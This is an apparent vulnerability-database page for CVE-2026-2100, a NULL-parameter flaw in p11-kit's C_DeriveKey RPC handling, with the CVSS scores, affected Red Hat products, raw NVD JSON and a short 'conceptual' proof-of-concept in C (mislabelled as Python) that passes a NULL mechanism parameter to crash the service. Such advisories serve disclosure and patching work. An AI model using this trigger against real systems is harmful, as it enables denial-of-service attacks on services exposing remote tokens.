Security Vulnerability Report
中文
CVE-2026-2100 CVSS 5.3 MEDIUM

CVE-2026-2100

Published: 2026-03-26 21:17:04
Last Modified: 2026-05-19 14:16:40

Description

A flaw was found in p11-kit. A remote attacker could exploit this vulnerability by calling the C_DeriveKey function on a remote token with specific IBM kyber or IBM btc derive mechanism parameters set to NULL. This could lead to the RPC-client attempting to return an uninitialized value, potentially resulting in a NULL dereference or undefined behavior. This issue may cause an application level denial of service or other unpredictable system states.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:p11-kit_project:p11-kit:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:* - VULNERABLE
p11-kit (参考Red Hat公告RHSA-2026:18143, RHSA-2026:18599, RHSA-2026:7065)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <pkcs11.h> // Conceptual Proof of Concept for CVE-2026-2100 // This code simulates the vulnerable condition described in the advisory. // It triggers the flaw by calling C_DeriveKey with NULL parameters. void exploit_poc(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hKey) { CK_RV rv; CK_MECHANISM mechanism; CK_OBJECT_HANDLE hDerivedKey; // Targeting the vulnerable IBM derive mechanisms // CKM_IBM_KYBER or CKM_IBM_BTC would be defined in the specific headers mechanism.mechanism = CKM_IBM_KYBER; // VULNERABILITY TRIGGER: Setting pParameter to NULL // The RPC client fails to handle this NULL value correctly, // leading to a NULL dereference or uninitialized value return. mechanism.pParameter = NULL; mechanism.ulParameterLen = 0; printf("[+] Attempting to trigger C_DeriveKey with NULL parameters...\n"); // This call is expected to cause a crash or undefined behavior rv = C_DeriveKey(hSession, &mechanism, hKey, NULL, 0, &hDerivedKey); if (rv != CKR_OK) { printf("[!] Function returned error: 0x%lu\n", rv); } else { printf("[!] Function returned successfully. Vulnerability might not trigger or was patched.\n"); } } int main() { // Initialization logic (omitted for brevity) // In a real scenario, initialize C_Initialize, OpenSession, etc. // CK_SESSION_HANDLE session; // CK_OBJECT_HANDLE key; // ... setup code ... // exploit_poc(session, key); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2100", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:04.247", "lastModified": "2026-05-19T14:16:40.380", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in p11-kit. A remote attacker could exploit this vulnerability by calling the C_DeriveKey function on a remote token with specific IBM kyber or IBM btc derive mechanism parameters set to NULL. This could lead to the RPC-client attempting to return an uninitialized value, potentially resulting in a NULL dereference or undefined behavior. This issue may cause an application level denial of service or other unpredictable system states."}, {"lang": "es", "value": "Se encontró una falla en p11-kit. Un atacante remoto podría explotar esta vulnerabilidad al llamar a la función C_DeriveKey en un token remoto con parámetros específicos del mecanismo de derivación IBM kyber o IBM btc establecidos en NULL. Esto podría llevar al cliente RPC intentando devolver un valor no inicializado, resultando potencialmente en una desreferencia NULL o comportamiento indefinido. Este problema puede causar una denegación de servicio a nivel de aplicación o a otros estados impredecibles del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-824"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:p11-kit_project:p11-kit:-:*:*:*:*:*:*:*", "matchCriteriaId": "EC8CB498-F5D5-4AB6-B33E-404C80966280"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:18143", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:18599", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7065", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-2100", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2437308", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/p11-glue/p11-kit/pull/740", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}